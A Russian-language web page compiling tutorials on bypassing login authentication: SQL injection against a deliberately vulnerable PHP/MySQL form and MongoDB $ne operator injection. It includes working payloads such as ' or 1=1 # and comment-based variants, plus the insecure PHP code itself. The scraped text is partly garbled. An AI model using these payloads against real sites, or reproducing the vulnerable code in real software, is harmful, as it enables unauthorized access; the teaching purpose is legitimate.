Как обойти авторизацию php

Русские Блоги

php + mysql воспроизводит обход аутентификации при входе

Каталог статей

1. Краткое введение

Так называемый обход проверки входа в систему заключается в использовании некоторых специальных символов при выполнении проверки личности, чтобы обойти проверку личности и успешно войти в систему.

Обход аутентификации при входе в систему можно обойти с помощью имени пользователя и пароля.

Во-вторых, принцип байпаса

Принцип универсального обхода пароля:Используйте логические отношения и, или, и аннотации языка SQL, Для достижения цели обхода проверки.

Обратите особое внимание: в SQL приоритет и> или
Поэтому, когда есть инструкция:a > b and a > c or 1=1При этом он делится на две части из или, и сначала оцениваются две стороны, а затем оценивается или.

$sql = "SELECT passwd FROM user WHERE username = '<$_POST["username"]>' and passwd = '<$_POST["passwd"]>';"; 

Выполнение этого оператора может запросить базу данных, есть ли запись, которая соответствует имени пользователя и паролю, введенным пользователем. Если есть, вход в систему успешен.

  • Когда пользователь вводит обычное имя пользователя: root ,пароль: admin Когда выполняется инструкция SQL, выглядит так:
SELECT passwd FROM user WHERE username = 'root' and passwd = 'admin'; 

  • И когда пользователь вводит недопустимое имя пользователя: ‘ or 1=1 # пароль: Произвольный Когда, инструкция SQL-запроса выполняется следующим образом:
SELECT passwd FROM user WHERE username = '' or 1=1 #' and passwd = '111'; 

Таким образом можно обойти проверку и успешно войти в систему.

Читайте также:  To do list

Три, реализация кода

HTML реализует интерфейсный ввод и отправляет формы; PHP-код реализует внутренний прием данных и запросы к базе данных.

 html lang="en"> head> meta charset="UTF-8"> title>Logintitle> head> body> form action="sqlInjection.php" method="POST"> Username:input type="text" name="username" id="1"> Password:input type="text" name="passwd" id="2"> button type="submit">представитьbutton> form> body> html> 
 $serverName = "127.0.0.1:3306"; $username = "root"; $passwd = "root"; $dbName = "php_test"; $conn = mysqli_connect($serverName, $username, $passwd, $dbName); if(!$conn) die(«Ошибка подключения к базе данных!» . mysql_error()); // Получение содержимого формы $username = $_POST["username"]; $passwd = $_POST["passwd"]; // Создание оператора SQL $sql = "SELECT passwd FROM user WHERE username = '$username>' and passwd = '$passwd>';"; // SQL-запрос $result = mysqli_query($conn, $sql); // Определяем, есть ли подходящие строки if(mysqli_num_rows($result)  0) echo "------------Неправильное имя пользователя или пароль------------"; > else echo "------------ Приземлился успешно ------------"; // Выводим оператор SQL этого запроса echo "

"
; echo "Оператор SQL:", $sql; mysqli_close($conn); ?>

MariaDB [php_test]> select * from user; +----+----------+----------+ | id | username | passwd | +----+----------+----------+ | 1 | admin | admin | | 2 | msfadmin | msfadmin | +----+----------+----------+ 2 rows in set (0.006 sec) 

Четыре, обойти тест

Одиночные кавычки используются для закрытия предшествующих одинарных кавычек, или 1 = 1 используется для создания постоянной формы, а # делает следующее предложение комментарием.

Результаты:

------------ Приземлился успешно ------------ SQLУтверждение:SELECT passwd FROM user WHERE username = '' or 1=1 #' and passwd = '111'; 

------------ Приземлился успешно ------------ SQLУтверждение:SELECT passwd FROM user WHERE username = '' /* ' and passwd = '*/ or '1' = '1'; 
------------ Приземлился успешно ------------ SQLУтверждение:SELECT passwd FROM user WHERE username = '' or 1=1 -- ' and passwd = '111'; 
------------ Приземлился успешно ------------ SQLУтверждение:SELECT passwd FROM user WHERE username = 'admin' or '1=1' and passwd = '111'; 
------------ Приземлился успешно ------------ SQLУтверждение:SELECT passwd FROM user WHERE username = '111' and passwd = '' or '1'='1'; 

Подобных предложений много, поэтому мы не будем приводить примеры по очереди.

Универсальные пароли в сети:

Источник

Обход аутентификации в NoSQL

После предыдущего поста мне задали множество вопросов, касающихся деталей реализации JavaScript-инъекций на стороне сервера (Server Side JavaScript Injection, SSJI). Читатели просили показать больше примеров. Чтобы продемонстрировать проблему в явном виде, думаю, мы можем начать с обхода аутентификации на простенькой форме.

Автор: Barry Shteiman После предыдущего поста мне задали множество вопросов, касающихся деталей реализации JavaScript-инъекций на стороне сервера (Server Side JavaScript Injection, SSJI). Читатели просили показать больше примеров. Чтобы продемонстрировать проблему в явном виде, думаю, мы можем начать с обхода аутентификации на простенькой форме. Я написал простейший фронтенд для MongoDB с базовым механизмом аутентификации при помощи имени пользователя и пароля, которые вы можете встретить в любом более менее серьезном приложении. Пользовательская коллекция хранится базе данных MongoDB в связке с PHP и Apache. Ниже показан снимок коллекции из таблицы «myusers»: Рисунок 1: Содержимое таблицы «myusers» На стороне приложения реализован простейший аутентификационный механизм, где происходит сравнение введенного имени пользователя и пароля (см. скриншот ниже). Рисунок 2: Кусок кода, отвечающий за процесс аутентификации Чтобы лучше понимать принцип работы кода, немного коснемся формата запросов. Все запросы в MongoDB должны быть в формате JSON, где передаются массивы параметров и значений. Драйвер MongoDB представляет собой компонент, преобразующий массив к формату JSON. Запрос, заполненный значениями, будет передаваться в MongoDB в следующем виде: db.myusers.find( ) Теперь рассмотрим механизмы манипуляции входными данными для создания инъекции. В коде, показанном выше, используются два параметра: имя пользователя и пароль. Форма авторизации выглядит следующим образом: Рисунок 3: Форма авторизации к базе данных URL, выполняющий аутентификацию, в моем случае выглядит следующим образом: http://Обход авторизации от имени анонимного (любого) пользователя В PHP можно передавать отрицательные параметры через оператор [$ne], что поможет нам обойти механизм аутентификации при помощи следующего URL’а: http:///mongoapp/login.php?username[$ne]=foo&password[$ne]=bar На стороне MongoDB выполнится следующий запрос: db.myusers.find( ,Password: >) который возвратит полное содержимое коллекции, и наша инъекция завершится успешно: Рисунок 4: Успешный обход авторизации Обход авторизации от имени конкретного пользователя Чтобы обойти авторизацию от имени пользователя Mark, необходимо создать следующий запрос: (username = Mark) and (password != bar) Вместо слова bar можно подставить любое другое сочетание символов, которое не является паролем Марка. URL будет выглядеть следующим образом: http:///mongoapp/login.php?username=mark&password[$ne]=bar В базе MongoDB будет выполнен запрос: db.myusers.find( ) Успешное выполнение инъекции позволило нам пройти авторизацию от имени Марка. Рисунок 5: Успешный обход авторизации от имени конкретного пользователя Заключение Как было продемонстрировано выше, манипуляция с входными данными и атаки с использованием инъекций – серьезная угроза для приложений, оперирующих большими объемами данных. Проблема становится все более критичной, поскольку подобные приложения становятся все более популярными. Для нас же важно повышать уровень компетенции относительно атак связанных с инъекциями на стороне сервера с использованием JavaScript, а входные данные должны подвергаться тщательной обработке.

Почему ваши данные всегда находятся в центре внимания ХАКЕРОВ? Присоединитесь к нашему ТГ каналу и станьте невидимым для хищников цифрового мира.

Источник

Обход авторизации с помощью SQL-инъекции

SQL-инъекции — один из распространённых способов взлома сайтов (веб-приложений) и программ, работающих с базами данных. Метод основан на внедрении в запрос произвольного SQL-кода. В статье покажу, как работает обход авторизации с помощью SQL-инъекции и поделюсь шпаргалкой.

Обход авторизации с помощью SQL-инъекции

Авторизация на сайте работает следующим образом:

  1. Сайт (веб-приложение) запрашивает имя пользователя и пароль.
  2. Сайт делает запрос к базе данных: «У нас есть пользователь с именем «User »и паролем« user»?».
  3. Если в базе данных указано, что данные для входа верны, тогда сайт позволит войти пользователю User.

Пример простого PHP кода с авторизацией:

$ query = «select username, password from users where username=’.$username.’ and password=’.$password.’ limit 0,1» ; // команда для запроса

Уязвимости в коде

При попытке авторизации код получает данные введенные пользователем и помещает их прямо в SQL команду. Он не проверяет, какой тип данных представлен. Вот используемый SQL-запрос.

SELECT username , password FROM users WHERE username = ‘$username’ AND password = ‘$password’ LIMIT 0 , 1 ;

Для поиска уязвимости в коде проведем фаззинг.

Фаззинг — это передача сайту случайных данных. Длинные целые числа / строки и т.п. Мы знаем, для того чтобы сломать SQL зарос, нужно ввести апостроф или двойные кавычки. «.

Попробуем ввести имя пользователя user и пароь pass ‘ » . Для кода данный запрос будет выглядеть следующим образом:

Что соответственно приводит к SQL ошибке:

You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near

Скрипт принимает наши данные и помещает их в кавычки. Если я введу в качестве пароля test , то sql запрос будет содержать password = ‘test’ :

Но после данной строки есть еще и другой код. (‘LIMIT 0,1)

Таким образом, соответствие правилам SQL синтаксиса это неверно. Это заставило сервер выдать ошибку. Подумайте, что будет, если я добавлю эту строку в качестве ввода.

SELECT username , password FROM users WHERE username = ‘user’ AND password = ‘test’ or 1 = 1 —‘ LIMIT 0 , 1 ;

В SQL — — или — + в качестве символа для комментария. поэтому, если мы хотим что-то прокомментировать или заблокировать какую-то часть кода, мы можем использовать это. В этом запросе все последующее — игнорируется.

Но что будет если к SQL-запросу добавить такую строку:

Что интересно в операторе OR, так это то, что он проверяет два логических оператора и, если один из них или оба верны, он вернет true.

поэтому, если пароль похож на строковый тест или 1 = 1, он вернет true. Поскольку 1 всегда равен 1 (как не странно), этот запрос игнорирует неправильный пароль. Так мы смогли обойти проверку пароля.

Но, а что, если мы не знаем ни пароля, ни имени пользователя?

Мы можем использовать эту строку как имя пользователя и что угодно как пароль.

SELECT username , password FROM users WHERE username = ‘user’ or 1 = 1 — ‘ AND password=’ xxxx ‘ LIMIT 0 , 1 ;

Поскольку после — — запрос все игнорирует — его не волнует пароль. Это даст нам доступ к сайту.

Шпаргалка по SQL-инъекциям для обхода авторизации

Следующий список может использоваться исследователями безопасности, тестировщиками на проникновение, разработчиками и ИТ-энтузиастами для проверки надежности разработанного приложения.

Источник

Оцените статью